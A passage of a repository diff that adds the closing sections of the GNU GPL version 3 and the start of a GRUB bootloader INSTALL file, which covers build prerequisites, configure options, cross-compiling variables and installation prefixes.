     243 +parts of the aggregate.
     244 + 
     245 + 6. Conveying Non-Source Forms.
     246 + 
     247 + You may convey a covered work in object code form under the terms
     248 +of sections 4 and 5, provided that you also convey the
     249 +machine-readable Corresponding Source under the terms of this License,
     250 +in one of these ways:
     251 + 
     252 + a) Convey the object code in, or embodied in, a physical product
     253 + (including a physical distribution medium), accompanied by the
     254 + Corresponding Source fixed on a durable physical medium
     255 + customarily used for software interchange.
     256 + 
     257 + b) Convey the object code in, or embodied in, a physical product
     258 + (including a physical distribution medium), accompanied by a
     259 + written offer, valid for at least three years and valid for as
     260 + long as you offer spare parts or customer support for that product
     261 + model, to give anyone who possesses the object code either (1) a
     262 + copy of the Corresponding Source for all the software in the
     263 + product that is covered by this License, on a durable physical
     264 + medium customarily used for software interchange, for a price no
     265 + more than your reasonable cost of physically performing this
     266 + conveying of source, or (2) access to copy the
     267 + Corresponding Source from a network server at no charge.
     268 + 
     269 + c) Convey individual copies of the object code with a copy of the
     270 + written offer to provide the Corresponding Source. This
     271 + alternative is allowed only occasionally and noncommercially, and
     272 + only if you received the object code with such an offer, in accord
     273 + with subsection 6b.
     274 + 
     275 + d) Convey the object code by offering access from a designated
     276 + place (gratis or for a charge), and offer equivalent access to the
     277 + Corresponding Source in the same way through the same place at no
     278 + further charge. You need not require recipients to copy the
     279 + Corresponding Source along with the object code. If the place to
     280 + copy the object code is a network server, the Corresponding Source
     281 + may be on a different server (operated by you or a third party)
     282 + that supports equivalent copying facilities, provided you maintain
     283 + clear directions next to the object code saying where to find the
     284 + Corresponding Source. Regardless of what server hosts the
     285 + Corresponding Source, you remain obligated to ensure that it is
     286 + available for as long as needed to satisfy these requirements.
     287 + 
     288 + e) Convey the object code using peer-to-peer transmission, provided
     289 + you inform other peers where the object code and Corresponding
     290 + Source of the work are being offered to the general public at no
     291 + charge under subsection 6d.
     292 + 
     293 + A separable portion of the object code, whose source code is excluded
     294 +from the Corresponding Source as a System Library, need not be
     295 +included in conveying the object code work.
     296 + 
     297 + A "User Product" is either (1) a "consumer product", which means any
     298 +tangible personal property which is normally used for personal, family,
     299 +or household purposes, or (2) anything designed or sold for incorporation
     300 +into a dwelling. In determining whether a product is a consumer product,
     301 +doubtful cases shall be resolved in favor of coverage. For a particular
     302 +product received by a particular user, "normally used" refers to a
     303 +typical or common use of that class of product, regardless of the status
     304 +of the particular user or of the way in which the particular user
     305 +actually uses, or expects or is expected to use, the product. A product
     306 +is a consumer product regardless of whether the product has substantial
     307 +commercial, industrial or non-consumer uses, unless such uses represent
     308 +the only significant mode of use of the product.
     309 + 
     310 + "Installation Information" for a User Product means any methods,
     311 +procedures, authorization keys, or other information required to install
     312 +and execute modified versions of a covered work in that User Product from
     313 +a modified version of its Corresponding Source. The information must
     314 +suffice to ensure that the continued functioning of the modified object
     315 +code is in no case prevented or interfered with solely because
     316 +modification has been made.
     317 + 
     318 + If you convey an object code work under this section in, or with, or
     319 +specifically for use in, a User Product, and the conveying occurs as
     320 +part of a transaction in which the right of possession and use of the
     321 +User Product is transferred to the recipient in perpetuity or for a
     322 +fixed term (regardless of how the transaction is characterized), the
     323 +Corresponding Source conveyed under this section must be accompanied
     324 +by the Installation Information. But this requirement does not apply
     325 +if neither you nor any third party retains the ability to install
     326 +modified object code on the User Product (for example, the work has
     327 +been installed in ROM).
     328 + 
     329 + The requirement to provide Installation Information does not include a
     330 +requirement to continue to provide support service, warranty, or updates
     331 +for a work that has been modified or installed by the recipient, or for
     332 +the User Product in which it has been modified or installed. Access to a
     333 +network may be denied when the modification itself materially and
     334 +adversely affects the operation of the network or violates the rules and
     335 +protocols for communication across the network.
     336 + 
     337 + Corresponding Source conveyed, and Installation Information provided,
     338 +in accord with this section must be in a format that is publicly
     339 +documented (and with an implementation available to the public in
     340 +source code form), and must require no special password or key for
     341 +unpacking, reading or copying.
     342 + 
     343 + 7. Additional Terms.
     344 + 
     345 + "Additional permissions" are terms that supplement the terms of this
     346 +License by making exceptions from one or more of its conditions.
     347 +Additional permissions that are applicable to the entire Program shall
     348 +be treated as though they were included in this License, to the extent
     349 +that they are valid under applicable law. If additional permissions
     350 +apply only to part of the Program, that part may be used separately
     351 +under those permissions, but the entire Program remains governed by
     352 +this License without regard to the additional permissions.
     353 + 
     354 + When you convey a copy of a covered work, you may at your option
     355 +remove any additional permissions from that copy, or from any part of
     356 +it. (Additional permissions may be written to require their own
     357 +removal in certain cases when you modify the work.) You may place
     358 +additional permissions on material, added by you to a covered work,
     359 +for which you have or can give appropriate copyright permission.
     360 + 
     361 + Notwithstanding any other provision of this License, for material you
     362 +add to a covered work, you may (if authorized by the copyright holders of
     363 +that material) supplement the terms of this License with terms:
     364 + 
     365 + a) Disclaiming warranty or limiting liability differently from the
     366 + terms of sections 15 and 16 of this License; or
     367 + 
     368 + b) Requiring preservation of specified reasonable legal notices or
     369 + author attributions in that material or in the Appropriate Legal
     370 + Notices displayed by works containing it; or
     371 + 
     372 + c) Prohibiting misrepresentation of the origin of that material, or
     373 + requiring that modified versions of such material be marked in
     374 + reasonable ways as different from the original version; or
     375 + 
     376 + d) Limiting the use for publicity purposes of names of licensors or
     377 + authors of the material; or
     378 + 
     379 + e) Declining to grant rights under trademark law for use of some
     380 + trade names, trademarks, or service marks; or
     381 + 
     382 + f) Requiring indemnification of licensors and authors of that
     383 + material by anyone who conveys the material (or modified versions of
     384 + it) with contractual assumptions of liability to the recipient, for
     385 + any liability that these contractual assumptions directly impose on
     386 + those licensors and authors.
     387 + 
     388 + All other non-permissive additional terms are considered "further
     389 +restrictions" within the meaning of section 10. If the Program as you
     390 +received it, or any part of it, contains a notice stating that it is
     391 +governed by this License along with a term that is a further
     392 +restriction, you may remove that term. If a license document contains
     393 +a further restriction but permits relicensing or conveying under this
     394 +License, you may add to a covered work material governed by the terms
     395 +of that license document, provided that the further restriction does
     396 +not survive such relicensing or conveying.
     397 + 
     398 + If you add terms to a covered work in accord with this section, you
     399 +must place, in the relevant source files, a statement of the
     400 +additional terms that apply to those files, or a notice indicating
     401 +where to find the applicable terms.
     402 + 
     403 + Additional terms, permissive or non-permissive, may be stated in the
     404 +form of a separately written license, or stated as exceptions;
     405 +the above requirements apply either way.
     406 + 
     407 + 8. Termination.
     408 + 
     409 + You may not propagate or modify a covered work except as expressly
     410 +provided under this License. Any attempt otherwise to propagate or
     411 +modify it is void, and will automatically terminate your rights under
     412 +this License (including any patent licenses granted under the third
     413 +paragraph of section 11).
     414 + 
     415 + However, if you cease all violation of this License, then your
     416 +license from a particular copyright holder is reinstated (a)
     417 +provisionally, unless and until the copyright holder explicitly and
     418 +finally terminates your license, and (b) permanently, if the copyright
     419 +holder fails to notify you of the violation by some reasonable means
     420 +prior to 60 days after the cessation.
     421 + 
     422 + Moreover, your license from a particular copyright holder is
     423 +reinstated permanently if the copyright holder notifies you of the
     424 +violation by some reasonable means, this is the first time you have
     425 +received notice of violation of this License (for any work) from that
     426 +copyright holder, and you cure the violation prior to 30 days after
     427 +your receipt of the notice.
     428 + 
     429 + Termination of your rights under this section does not terminate the
     430 +licenses of parties who have received copies or rights from you under
     431 +this License. If your rights have been terminated and not permanently
     432 +reinstated, you do not qualify to receive new licenses for the same
     433 +material under section 10.
     434 + 
     435 + 9. Acceptance Not Required for Having Copies.
     436 + 
     437 + You are not required to accept this License in order to receive or
     438 +run a copy of the Program. Ancillary propagation of a covered work
     439 +occurring solely as a consequence of using peer-to-peer transmission
     440 +to receive a copy likewise does not require acceptance. However,
     441 +nothing other than this License grants you permission to propagate or
     442 +modify any covered work. These actions infringe copyright if you do
     443 +not accept this License. Therefore, by modifying or propagating a
     444 +covered work, you indicate your acceptance of this License to do so.
     445 + 
     446 + 10. Automatic Licensing of Downstream Recipients.
     447 + 
     448 + Each time you convey a covered work, the recipient automatically
     449 +receives a license from the original licensors, to run, modify and
     450 +propagate that work, subject to this License. You are not responsible
     451 +for enforcing compliance by third parties with this License.
     452 + 
     453 + An "entity transaction" is a transaction transferring control of an
     454 +organization, or substantially all assets of one, or subdividing an
     455 +organization, or merging organizations. If propagation of a covered
     456 +work results from an entity transaction, each party to that
     457 +transaction who receives a copy of the work also receives whatever
     458 +licenses to the work the party's predecessor in interest had or could
     459 +give under the previous paragraph, plus a right to possession of the
     460 +Corresponding Source of the work from the predecessor in interest, if
     461 +the predecessor has it or can get it with reasonable efforts.
     462 + 
     463 + You may not impose any further restrictions on the exercise of the
     464 +rights granted or affirmed under this License. For example, you may
     465 +not impose a license fee, royalty, or other charge for exercise of
     466 +rights granted under this License, and you may not initiate litigation
     467 +(including a cross-claim or counterclaim in a lawsuit) alleging that
     468 +any patent claim is infringed by making, using, selling, offering for
     469 +sale, or importing the Program or any portion of it.
     470 + 
     471 + 11. Patents.
     472 + 
     473 + A "contributor" is a copyright holder who authorizes use under this
     474 +License of the Program or a work on which the Program is based. The
     475 +work thus licensed is called the contributor's "contributor version".
     476 + 
     477 + A contributor's "essential patent claims" are all patent claims
     478 +owned or controlled by the contributor, whether already acquired or
     479 +hereafter acquired, that would be infringed by some manner, permitted
     480 +by this License, of making, using, or selling its contributor version,
     481 +but do not include claims that would be infringed only as a
     482 +consequence of further modification of the contributor version. For
     483 +purposes of this definition, "control" includes the right to grant
     484 +patent sublicenses in a manner consistent with the requirements of
     485 +this License.
     486 + 
     487 + Each contributor grants you a non-exclusive, worldwide, royalty-free
     488 +patent license under the contributor's essential patent claims, to
     489 +make, use, sell, offer for sale, import and otherwise run, modify and
     490 +propagate the contents of its contributor version.
     491 + 
     492 + In the following three paragraphs, a "patent license" is any express
     493 +agreement or commitment, however denominated, not to enforce a patent
     494 +(such as an express permission to practice a patent or covenant not to
     495 +sue for patent infringement). To "grant" such a patent license to a
     496 +party means to make such an agreement or commitment not to enforce a
     497 +patent against the party.
     498 + 
     499 + If you convey a covered work, knowingly relying on a patent license,
     500 +and the Corresponding Source of the work is not available for anyone
     501 +to copy, free of charge and under the terms of this License, through a
     502 +publicly available network server or other readily accessible means,
     503 +then you must either (1) cause the Corresponding Source to be so
     504 +available, or (2) arrange to deprive yourself of the benefit of the
     505 +patent license for this particular work, or (3) arrange, in a manner
     506 +consistent with the requirements of this License, to extend the patent
     507 +license to downstream recipients. "Knowingly relying" means you have
     508 +actual knowledge that, but for the patent license, your conveying the
     509 +covered work in a country, or your recipient's use of the covered work
     510 +in a country, would infringe one or more identifiable patents in that
     511 +country that you have reason to believe are valid.
     512 + 
     513 + If, pursuant to or in connection with a single transaction or
     514 +arrangement, you convey, or propagate by procuring conveyance of, a
     515 +covered work, and grant a patent license to some of the parties
     516 +receiving the covered work authorizing them to use, propagate, modify
     517 +or convey a specific copy of the covered work, then the patent license
     518 +you grant is automatically extended to all recipients of the covered
     519 +work and works based on it.
     520 + 
     521 + A patent license is "discriminatory" if it does not include within
     522 +the scope of its coverage, prohibits the exercise of, or is
     523 +conditioned on the non-exercise of one or more of the rights that are
     524 +specifically granted under this License. You may not convey a covered
     525 +work if you are a party to an arrangement with a third party that is
     526 +in the business of distributing software, under which you make payment
     527 +to the third party based on the extent of your activity of conveying
     528 +the work, and under which the third party grants, to any of the
     529 +parties who would receive the covered work from you, a discriminatory
     530 +patent license (a) in connection with copies of the covered work
     531 +conveyed by you (or copies made from those copies), or (b) primarily
     532 +for and in connection with specific products or compilations that
     533 +contain the covered work, unless you entered into that arrangement,
     534 +or that patent license was granted, prior to 28 March 2007.
     535 + 
     536 + Nothing in this License shall be construed as excluding or limiting
     537 +any implied license or other defenses to infringement that may
     538 +otherwise be available to you under applicable patent law.
     539 + 
     540 + 12. No Surrender of Others' Freedom.
     541 + 
     542 + If conditions are imposed on you (whether by court order, agreement or
     543 +otherwise) that contradict the conditions of this License, they do not
     544 +excuse you from the conditions of this License. If you cannot convey a
     545 +covered work so as to satisfy simultaneously your obligations under this
     546 +License and any other pertinent obligations, then as a consequence you may
     547 +not convey it at all. For example, if you agree to terms that obligate you
     548 +to collect a royalty for further conveying from those to whom you convey
     549 +the Program, the only way you could satisfy both those terms and this
     550 +License would be to refrain entirely from conveying the Program.
     551 + 
     552 + 13. Use with the GNU Affero General Public License.
     553 + 
     554 + Notwithstanding any other provision of this License, you have
     555 +permission to link or combine any covered work with a work licensed
     556 +under version 3 of the GNU Affero General Public License into a single
     557 +combined work, and to convey the resulting work. The terms of this
     558 +License will continue to apply to the part which is the covered work,
     559 +but the special requirements of the GNU Affero General Public License,
     560 +section 13, concerning interaction through a network will apply to the
     561 +combination as such.
     562 + 
     563 + 14. Revised Versions of this License.
     564 + 
     565 + The Free Software Foundation may publish revised and/or new versions of
     566 +the GNU General Public License from time to time. Such new versions will
     567 +be similar in spirit to the present version, but may differ in detail to
     568 +address new problems or concerns.
     569 + 
     570 + Each version is given a distinguishing version number. If the
     571 +Program specifies that a certain numbered version of the GNU General
     572 +Public License "or any later version" applies to it, you have the
     573 +option of following the terms and conditions either of that numbered
     574 +version or of any later version published by the Free Software
     575 +Foundation. If the Program does not specify a version number of the
     576 +GNU General Public License, you may choose any version ever published
     577 +by the Free Software Foundation.
     578 + 
     579 + If the Program specifies that a proxy can decide which future
     580 +versions of the GNU General Public License can be used, that proxy's
     581 +public statement of acceptance of a version permanently authorizes you
     582 +to choose that version for the Program.
     583 + 
     584 + Later license versions may give you additional or different
     585 +permissions. However, no additional obligations are imposed on any
     586 +author or copyright holder as a result of your choosing to follow a
     587 +later version.
     588 + 
     589 + 15. Disclaimer of Warranty.
     590 + 
     591 + THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
     592 +APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
     593 +HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
     594 +OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
     595 +THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
     596 +PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
     597 +IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
     598 +ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
     599 + 
     600 + 16. Limitation of Liability.
     601 + 
     602 + IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
     603 +WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
     604 +THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
     605 +GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
     606 +USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
     607 +DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
     608 +PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
     609 +EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
     610 +SUCH DAMAGES.
     611 + 
     612 + 17. Interpretation of Sections 15 and 16.
     613 + 
     614 + If the disclaimer of warranty and limitation of liability provided
     615 +above cannot be given local legal effect according to their terms,
     616 +reviewing courts shall apply local law that most closely approximates
     617 +an absolute waiver of all civil liability in connection with the
     618 +Program, unless a warranty or assumption of liability accompanies a
     619 +copy of the Program in return for a fee.
     620 + 
     621 + END OF TERMS AND CONDITIONS
     622 + 
     623 + How to Apply These Terms to Your New Programs
     624 + 
     625 + If you develop a new program, and you want it to be of the greatest
     626 +possible use to the public, the best way to achieve this is to make it
     627 +free software which everyone can redistribute and change under these terms.
     628 + 
     629 + To do so, attach the following notices to the program. It is safest
     630 +to attach them to the start of each source file to most effectively
     631 +state the exclusion of warranty; and each file should have at least
     632 +the "copyright" line and a pointer to where the full notice is found.
     633 + 
     634 + <one line to give the program's name and a brief idea of what it does.>
     635 + Copyright (C) <year> <name of author>
     636 + 
     637 + This program is free software: you can redistribute it and/or modify
     638 + it under the terms of the GNU General Public License as published by
     639 + the Free Software Foundation, either version 3 of the License, or
     640 + (at your option) any later version.
     641 + 
     642 + This program is distributed in the hope that it will be useful,
     643 + but WITHOUT ANY WARRANTY; without even the implied warranty of
     644 + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
     645 + GNU General Public License for more details.
     646 + 
     647 + You should have received a copy of the GNU General Public License
     648 + along with this program. If not, see <http://www.gnu.org/licenses/>.
     649 + 
     650 +Also add information on how to contact you by electronic and paper mail.
     651 + 
     652 + If the program does terminal interaction, make it output a short
     653 +notice like this when it starts in an interactive mode:
     654 + 
     655 + <program> Copyright (C) <year> <name of author>
     656 + This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
     657 + This is free software, and you are welcome to redistribute it
     658 + under certain conditions; type `show c' for details.
     659 + 
     660 +The hypothetical commands `show w' and `show c' should show the appropriate
     661 +parts of the General Public License. Of course, your program's commands
     662 +might be different; for a GUI interface, you would use an "about box".
     663 + 
     664 + You should also get your employer (if you work as a programmer) or school,
     665 +if any, to sign a "copyright disclaimer" for the program, if necessary.
     666 +For more information on this, and how to apply and follow the GNU GPL, see
     667 +<http://www.gnu.org/licenses/>.
     668 + 
     669 + The GNU General Public License does not permit incorporating your program
     670 +into proprietary programs. If your program is a subroutine library, you
     671 +may consider it more useful to permit linking proprietary applications with
     672 +the library. If this is what you want to do, use the GNU Lesser General
     673 +Public License instead of this License. But first, please read
     674 +<http://www.gnu.org/philosophy/why-not-lgpl.html>.
     675 + 
  • ■ ■ ■ ■ ■ ■
    GrabAccess_SourceCode/Grab2/INSTALL
     1 +-*- Text -*-
     2 + 
     3 +This is the GRUB. Welcome.
     4 + 
     5 +This file contains instructions for compiling and installing the GRUB.
     6 + 
     7 +Where this document refers to packages names, they are named according to the
     8 +Debian 11 package repositories. These packages can be found by searching
     9 +https://packages.debian.org/.
     10 + 
     11 +The Requirements
     12 +================
     13 + 
     14 +GRUB depends on some software packages installed into your system. If
     15 +you don't have any of them, please obtain and install them before
     16 +configuring the GRUB.
     17 + 
     18 +* GCC 5.1.0 or later
     19 + Experimental support for clang 3.8.0 or later (results in much bigger binaries)
     20 + for i386, x86_64, arm (including thumb), arm64, mips(el), powerpc, sparc64
     21 +* GNU Make
     22 +* GNU Bison 2.3 or later
     23 +* GNU gettext 0.17 or later
     24 +* GNU binutils 2.9.1.0.23 or later
     25 +* Flex 2.5.35 or later
     26 +* pkg-config
     27 +* GNU patch
     28 +* Other standard GNU/Unix tools
     29 +* a libc with large file support (e.g. glibc 2.1 or later)
     30 + 
     31 +On GNU/Linux, you also need:
     32 + 
     33 +* libdevmapper 1.02.34 or later (recommended)
     34 + 
     35 +For optional grub-emu features, you need:
     36 + 
     37 +* SDL (recommended)
     38 +* libpciaccess (optional)
     39 +* libusb (optional)
     40 + 
     41 +To build GRUB's graphical terminal (gfxterm), you need:
     42 + 
     43 +* FreeType 2.1.5 or later
     44 +* GNU Unifont
     45 + 
     46 +If you use a development snapshot or want to hack on GRUB you may
     47 +need the following.
     48 + 
     49 +* Python 3 (NOTE: python 2.6 should still work, but it's not tested)
     50 +* Autoconf 2.63 or later
     51 +* Automake 1.11 or later
     52 + 
     53 +Your distro may package cross-compiling toolchains such as the following
     54 +incomplete list on Debian: gcc-aarch64-linux-gnu, gcc-arm-linux-gnueabihf,
     55 +gcc-mipsel-linux-gnu, and mingw-w64.
     56 + 
     57 +More cross compiling toolchains can be found at the following trusted sites:
     58 + 
     59 +* https://mirrors.kernel.org/pub/tools/crosstool/
     60 +* https://toolchains.bootlin.com/
     61 + 
     62 +Prerequisites for make-check:
     63 + 
     64 +* qemu, specifically the binary "qemu-system-ARCH" where ARCH is the
     65 + architecture GRUB has been built for; the "qemu-system" package on Debian
     66 + will install all needed qemu architectures
     67 +* OVMF, for EFI platforms (packages ovmf, ovmf-ia32, qemu-efi-arm, and
     68 + qemu-efi-aarch64)
     69 +* OpenBIOS, for ieee1275 platforms (packages openbios-ppc and openbios-sparc)
     70 +* xorriso 1.2.9 or later, for grub-mkrescue and grub-shell
     71 +* wamerican, for grub-fs-tester
     72 +* mtools, FAT tools for EFI platforms
     73 + 
     74 +* If running a Linux kernel the following modules must be loaded:
     75 + - fuse, loop
     76 + - btrfs, ext4, f2fs, fat, hfs, hfsplus, jfs, mac-roman, minix, nilfs2,
     77 + reiserfs, udf, xfs
     78 + - On newer kernels, the exfat kernel modules may be used instead of the
     79 + exfat FUSE filesystem
     80 +* The following are Debian named packages required mostly for the full
     81 + suite of filesystem testing (but some are needed by other tests as well):
     82 + - btrfs-progs, dosfstools, e2fsprogs, exfatprogs, f2fs-tools, genromfs,
     83 + hfsprogs, jfsutils, nilfs-tools, ntfs-3g, reiserfsprogs, squashfs-tools,
     84 + reiserfsprogs, udftools, xfsprogs, zfs-fuse
     85 + - exfat-fuse, if not using the exfat kernel module
     86 + - gzip, lzop, xz-utils
     87 + - attr, cpio, g++, gawk, parted, recode, tar, util-linux
     88 + 
     89 +Note that `make check' will run and many tests may complete successfully
     90 +with only a subset of these prerequisites. However, some tests may be
     91 +skipped or fail due to missing prerequisites.
     92 + 
     93 +To build the documentation you'll need:
     94 +* texinfo, for the info and html documentation
     95 +* texlive, for building the dvi and pdf documentation (optional)
     96 + 
     97 +Configuring the GRUB
     98 +====================
     99 + 
     100 +The `configure' shell script attempts to guess correct values for
     101 +various system-dependent variables used during compilation. It uses
     102 +those values to create a `Makefile' in each directory of the package.
     103 +It may also create one or more `.h' files containing system-dependent
     104 +definitions. Finally, it creates a shell script `config.status' that
     105 +you can run in the future to recreate the current configuration, a
     106 +file `config.cache' that saves the results of its tests to speed up
     107 +reconfiguring, and a file `config.log' containing compiler output
     108 +(useful mainly for debugging `configure').
     109 + 
     110 +If you need to do unusual things to compile the package, please try to
     111 +figure out how `configure' could check whether to do them, and mail
     112 +diffs or instructions to the address given in the `README' so they can
     113 +be considered for the next release. If at some point `config.cache'
     114 +contains results you don't want to keep, you may remove or edit it.
     115 + 
     116 +The file `configure.ac' is used to create `configure' by a program
     117 +called `autoconf'. You only need `configure.in' if you want to change
     118 +it or regenerate `configure' using a newer version of `autoconf'.
     119 + 
     120 + 
     121 +Building the GRUB
     122 +=================
     123 + 
     124 +The simplest way to compile this package is:
     125 + 
     126 + 1. `cd' to the directory containing the package's source code.
     127 + 
     128 + 2. Skip this and following step if you use release tarball and proceed to
     129 + step 4. If you want translations type `./linguas.sh'.
     130 +
     131 + 3. Type `./bootstrap'.
     132 + 
     133 + The autogen.sh (called by bootstrap) uses python. By default autodetect
     134 + it, but it can be overridden by setting the PYTHON variable.
     135 + 
     136 + 4. Type `./configure' to configure the package for your system.
     137 + If you're using `csh' on an old version of System V, you might
     138 + need to type `sh ./configure' instead to prevent `csh' from trying
     139 + to execute `configure' itself.
     140 + 
     141 + Running `configure' takes awhile. While running, it prints some
     142 + messages telling which features it is checking for.
     143 + 
     144 + 6. Type `make' to compile the package.
     145 + 
     146 + 7. Optionally, type `make check' to run any self-tests that come with
     147 + the package. Note that many of the tests require root privileges in
     148 + order to run.
     149 + 
     150 + 8. Type `make install' to install the programs and any data files and
     151 + documentation.
     152 + 
     153 + 9. Type `make html' or `make pdf' to generate the html or pdf
     154 + documentation. Note, these are not built by default.
     155 + 
     156 + 10. You can remove the program binaries and object files from the
     157 + source code directory by typing `make clean'. To also remove the
     158 + files that `configure' created (so you can compile the package for
     159 + a different kind of computer), type `make distclean'. There is
     160 + also a `make maintainer-clean' target, but that is intended mainly
     161 + for the package's developers. If you use it, you may have to get
     162 + all sorts of other programs in order to regenerate files that came
     163 + with the distribution.
     164 + 
     165 +Cross-compiling the GRUB
     166 +========================
     167 + 
     168 +GRUB defines 3 platforms:
     169 + 
     170 + - "Build" is the one which build systems runs on.
     171 + - "Host" is where you execute GRUB utils.
     172 + - "Target" is where GRUB itself runs.
     173 + 
     174 +For grub-emu host and target must be the same but may differ from build.
     175 + 
     176 +If build and host are different make check isn't available.
     177 + 
     178 +If build and host are different man pages are not generated.
     179 + 
     180 +As an example imagine you have a build system running on FreeBSD on sparc
     181 +which prepares packages for developers running amd64 GNU/Linux laptop and
     182 +they need to make images for ARM board running U-boot. In this case:
     183 + 
     184 +build=sparc64-freebsd
     185 +host=amd64-linux-gnu
     186 +target=arm-uboot
     187 + 
     188 +For this example the configure line might look like (more details below)
     189 +(some options are optional and included here for completeness but some rarely
     190 +used options are omitted):
     191 + 
     192 + ./configure --host=x86_64-linux-gnu --target=arm-linux-gnueabihf \
     193 + --with-platform=efi BUILD_CC=gcc BUILD_PKG_CONFIG=pkg-config \
     194 + HOST_CC=x86_64-linux-gnu-gcc HOST_CFLAGS='-g -O2' \
     195 + PKG_CONFIG=x86_64-linux-gnu-pkg-config TARGET_CC=arm-linux-gnueabihf-gcc \
     196 + TARGET_CFLAGS='-Os -march=armv8.3-a' TARGET_CCASFLAGS='-march=armv8.3-a' \
     197 + TARGET_OBJCOPY=arm-linux-gnueabihf-objcopy \
     198 + TARGET_STRIP=arm-linux-gnueabihf-strip TARGET_NM=arm-linux-gnueabihf-nm \
     199 + TARGET_RANLIB=arm-linux-gnueabihf-ranlib LEX=flex
     200 + 
     201 +Normally, for building a GRUB on amd64 with tools to run on amd64 to
     202 +generate images to run on ARM, using your Linux distribution's
     203 +packaged cross compiler, the following would suffice:
     204 + 
     205 + ./configure --target=arm-linux-gnueabihf --with-platform=efi
     206 + 
     207 +You need to use following options to specify tools and platforms. For minimum
     208 +version look at prerequisites. All tools not mentioned in this section under
     209 +corresponding platform are not needed for the platform in question.
     210 + 
     211 + - For build
     212 + 1. BUILD_CC= to gcc able to compile for build. This is used, for
     213 + example, to compile build-gentrigtables which is then run to
     214 + generate sin and cos tables.
     215 + 2. BUILD_CFLAGS= for C options for build.
     216 + 3. BUILD_CPPFLAGS= for C preprocessor options for build.
     217 + 4. BUILD_LDFLAGS= for linker options for build.
     218 + 5. BUILD_PKG_CONFIG= for pkg-config for build (optional).
     219 + 
     220 + - For host
     221 + 1. --host= to autoconf name of host.
     222 + 2. CC= for gcc able to compile for host.
     223 + 3. CFLAGS= for C options for host.
     224 + 4. HOST_CC= for gcc able to compile for host.
     225 + 5. HOST_CFLAGS= for C options for host.
     226 + 6. HOST_CPPFLAGS= for C preprocessor options for host.
     227 + 7. HOST_LDFLAGS= for linker options for host.
     228 + 8. PKG_CONFIG= for pkg-config for host (optional).
     229 + 9. Libdevmapper if any must be in standard linker folders (-ldevmapper) (optional).
     230 + 10. Libfuse if any must be in standard linker folders (-lfuse) (optional).
     231 + 11. Libzfs if any must be in standard linker folders (-lzfs) (optional).
     232 + 12. Liblzma if any must be in standard linker folders (-llzma) (optional).
     233 + Note: The HOST_* variables override not prefixed variables.
     234 + 
     235 + - For target
     236 + 1. --target= to autoconf cpu name of target.
     237 + 2. --with-platform to choose firmware.
     238 + 3. TARGET_CC= for gcc able to compile for target.
     239 + 4. TARGET_CFLAGS= for C options for target.
     240 + 5. TARGET_CPPFLAGS= for C preprocessor options for target.
     241 + 6. TARGET_CCASFLAGS= for assembler options for target.
     242 + 7. TARGET_LDFLAGS= for linker options for target.
     243 + 8. TARGET_OBJCOPY= for objcopy for target.
     244 + 9. TARGET_STRIP= for strip for target.
     245 + 10. TARGET_NM= for nm for target.
     246 + 11. TARGET_RANLIB= for ranlib for target.
     247 + Note: If the TARGET_* variables are not specified then they will default
     248 + to be the same as the host variables. If host variables are not
     249 + specified then the TARGET_* variables will default to be the same
     250 + as not prefixed variables.
     251 + 
     252 + - Additionally for emu, for host and target.
     253 + 1. SDL is looked for in standard linker directories (-lSDL) (optional)
     254 + 2. libpciaccess is looked for in standard linker directories (-lpciaccess) (optional)
     255 + 3. libusb is looked for in standard linker directories (-lusb) (optional)
     256 + 
     257 + - Platform-agnostic tools and data.
     258 + 1. make is the tool you execute after ./configure.
     259 + 2. Bison is specified in YACC= variable
     260 + 3. Flex is specified in LEX= variable
     261 + 4. GNU unifont and Djvu sans are looked for in standard directories.
     262 + 
     263 +Compiling For Multiple Architectures
     264 +====================================
     265 + 
     266 +You can compile the package for more than one kind of computer at the
     267 +same time, by placing the object files for each architecture in their
     268 +own directory. `cd' to the directory where you want the object files
     269 +and executables to go and run the `configure' script. `configure'
     270 +automatically checks for the source code in the directory that
     271 +`configure' is in and in `..'.
     272 + 
     273 + 
     274 +Installation Names
     275 +==================
     276 + 
     277 +By default, `make install' will install the package's files in
     278 +`/usr/local/bin', `/usr/local/man', etc. You can specify an
     279 +installation prefix by giving `configure' the option `--prefix=PATH'.
     280 + 
     281 +You can specify separate installation prefixes for
     282 +architecture-specific files and architecture-independent files. If
     283 +you give `configure' the option `--exec-prefix=PATH', the package will
     284 +use PATH as the prefix for installing programs and libraries.
     285 +Documentation and other data files will still use the regular prefix.
     286 + 
     287 +In addition, if you use an unusual directory layout you can give
     288 +options like `--bindir=PATH' to specify different values for
     289 +particular kinds of files. Run `configure --help' for a list of the
     290 +directories you can set and what kinds of files go in them.
     291 + 
     292 +If the package supports it, you can cause programs to be installed
     293 +with an extra prefix or suffix on their names by giving `configure'
     294 +the option `--program-prefix=PREFIX' or `--program-suffix=SUFFIX'.
     295 + 
     296 +Please note, however, that the GRUB knows where it is located in the
     297 +filesystem. If you have installed it in an unusual location, the
     298 +system might not work properly, or at all. The chief utility of these
     299 +options for the GRUB is to allow you to "install" in some alternate
     300 +location, and then copy these to the actual root filesystem later.
     301 + 
     302 + 
     303 +Sharing Defaults
     304 +================
     305 + 
     306 +If you want to set default values for `configure' scripts to share,
